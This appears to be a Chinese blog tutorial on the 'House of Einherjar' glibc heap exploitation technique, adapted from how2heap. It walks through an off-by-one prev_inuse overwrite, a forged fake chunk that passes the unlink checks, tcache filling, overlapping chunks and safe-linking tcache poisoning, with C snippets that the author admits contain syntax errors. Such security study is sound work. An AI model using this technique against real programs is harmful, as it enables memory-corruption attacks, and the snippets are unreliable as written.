Skip to content

House of einherjar

复制本地路径 | 在线编辑

很难总结它的思想是什么,我感觉就是有 overflow write 的一种攻击手段吧。

要求:
1. 只需 off by one,即可以复写某块下一个块的 size,其中 size 只用改最后一位就可以了。
2. 知道 heap 地址

效果:变体版的 Doube Reference,是一个指针指向内存 A,另一个指针指向内存 B,而 A 包含了 B

前置知识

  1. safe linking

基础知识

要知道 chunk 是由重叠利用的部分。prev_size 的作用是如果 free(p),发现 p->size 最后一位是 0,说明上一个块也是 freed,那么就会根据 prev_size 去找上一块,然后合并。

prev_size 只有在 prev 是 freed 的时候才会生效,之前可能会担心 prev->dataprev_size 冲突了,但挺巧妙的:

  • 如果 prev 是 malloced,那么 free(p) 的时候就不会往上找 prev,即不需要 prev_size。因此 prev_size 无意义,那此时正好 prev->data 有意义。
  • 如果 prev 是 freed,那么 prev_size 有意义;而由于是 freed,正好 prev->data 无意义。

细节说明

通过 how2heap 的例题讲解,代码有修改,有些语法是错的。懒得自己调试了,图片和数据很多来源于这篇文章

Step 1

申请三块内存,此时的堆空间如下。

uint8_t *a = malloc(0x38);
uint8_t *b = (uint8_t *) malloc(0x28);
uint8_t *c = (uint8_t *) malloc(0xf8); // 后续我们希望 free(c) 触发合并,所以 c 不能是 fastbin 大小

Step 2

chunkB 修改 chunkC 的 prev_size,由于 chunkB 是 malloced,所以这个修改是可以的。然后溢出修改 chunkC 的 size

// 修改 chunkC 的 prev_size,这里可以自然修改,因为这就是 chunkB->data 的末尾
b[0x20:0x28] = 0x60; 

int real_b_size = malloc_usable_size(b);

// VULNERABILITY
b[real_b_size] = 0;

由于我们修改了 c->size 的末尾 bit,如果 free(c) 的时候,会认为 c 的上一个块也已经是 freed,然后进行合并。我们的目标是合并成一个大块的时候,malloced chunkB 在 freed C 中,所以我们把 prev_size 改成了 0x60,即指向了红色框。改成 0x50 也是可以的,只要能保住 chunkB 即可。

Step 3

就上面那个图,此时 free(c) 肯定会有问题,因为他认为红色框的块也是 freed,会合并。这个红色框头部啥也没有,肯定会被检查。这里直接先给设计:

检查的代码这里挑几个重点来讲,下面是向低地址合并,即不断往前找的代码。可以看到有一个检查 chunksize(p) != prevsize,所以红色框的 size 我们要改成 c->prevsize 即 0x60。

// 从后向前合并
/* consolidate backward */
if (!prev_inuse(p)) // 如果上一个chunk是空闲的
{   
    prevsize = prev_size(p);  
    size += prevsize;

    // 安全检查
    p = chunk_at_offset(p, -((long)prevsize));
    if (__glibc_unlikely(chunksize(p) != prevsize))
        malloc_printerr("corrupted size vs. prev_size while consolidating");

    // 断链上一个chunk
    unlink_chunk(av, p);
}

在上面代码最后一句是解链,它的代码如下,此时的 p 就是红色框。对于安全检查 1,红色框中的 size 改成 0x60 可以通过。对于安全检查 2,则是检查 fdbk 指针,如上图所示,我们设置成了 fd = bk = p,巧妙地顺利通过。因此这里隐含了一个要求:我们需要知道 heap 地址

/* Take a chunk off a bin list.  */
static void unlink_chunk(mstate av, mchunkptr p)
{
    // 安全检查 1:如果当前chunk的大小不等于next chunk的prev_size,说明被篡改了数据,报错
    if (chunksize(p) != prev_size(next_chunk(p)))
        malloc_printerr("corrupted size vs. prev_size");

    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;

    // 安全检查 2:如果当前chunk的fd的bk不等于当前chunk,或者bk的fd不等于当前chunk,说明双向链表链接出错,报错
    if (__builtin_expect(fd->bk != p || bk->fd != p, 0))
        malloc_printerr("corrupted double-linked list");

    // 断链操作
    fd->bk = bk;
    bk->fd = fd;

    // ....
}

Step 4

现在我们进行 free(c),但是要注意如果合并后的大小在 tcache 范围内,我们还要先填满 tcache,避免落入 tcache。

// 申请七个块,再释放,这样塞满 Tcache
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
    x[i] = malloc(0xf8);
}
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
    free(x[i]);
}

// free(C) 触发合并
free(c)

Step 5

然后我们再来申请一次内存,从而有堆块重叠。尤其是 D 完全包裹了 B,这个算是变形版本的 Double Refrence(两个 malloced 指针指向同一片内存)。

uint8_t *d = malloc(0x158)

这里多说一句为什么 chunkD 中的第二行会改变?他经过了这样的逻辑:

  • 当从 unsorted 找到后,会放入 tcache 中(0x158 这个大小的 tcache 现在是空的),所以会修改 e->fde->key,也就是第二行的内容。
  • 然后从 tcache 拿出来的时候,会进行 e->key = 0,所以这就是为什么第二行右边是 0 了。

Step 6

现在有了变形版本的 Doulbe Refrence,chunkD 指向的内存包裹了 chunkB,我们完全就按照各种攻击方式去做就可以了。

对于 Double Refrence,常见的就是转成 tcache poisoning,即这里先 free(b),然后利用 chunkD 修改 b->next,最后两次 malloc 就可以了。

printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
        "We have to create and free one more chunk for padding before fd pointer hijacking.\n");
uint8_t *pad = malloc(0x28);
free(pad);

free(b);
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);
malloc(0x28);

uint8_t *result = malloc(0x28);

修改 b->next 因为 safe-linking 需要知道 heap 地址,但翻看前面的 Step 3,我们要达成攻击要知道 heap 地址,所以这也意味着 house of einherjar 可以了,那最后这步的 tcache poisoning 也可以。

补充

上面的例子中,我们能否把 chunkB 去掉?最终直接就是达到 chunkA 和 红色框 有交叠?

回答:可以,修改源代码之后发现也可以这样做。

Comments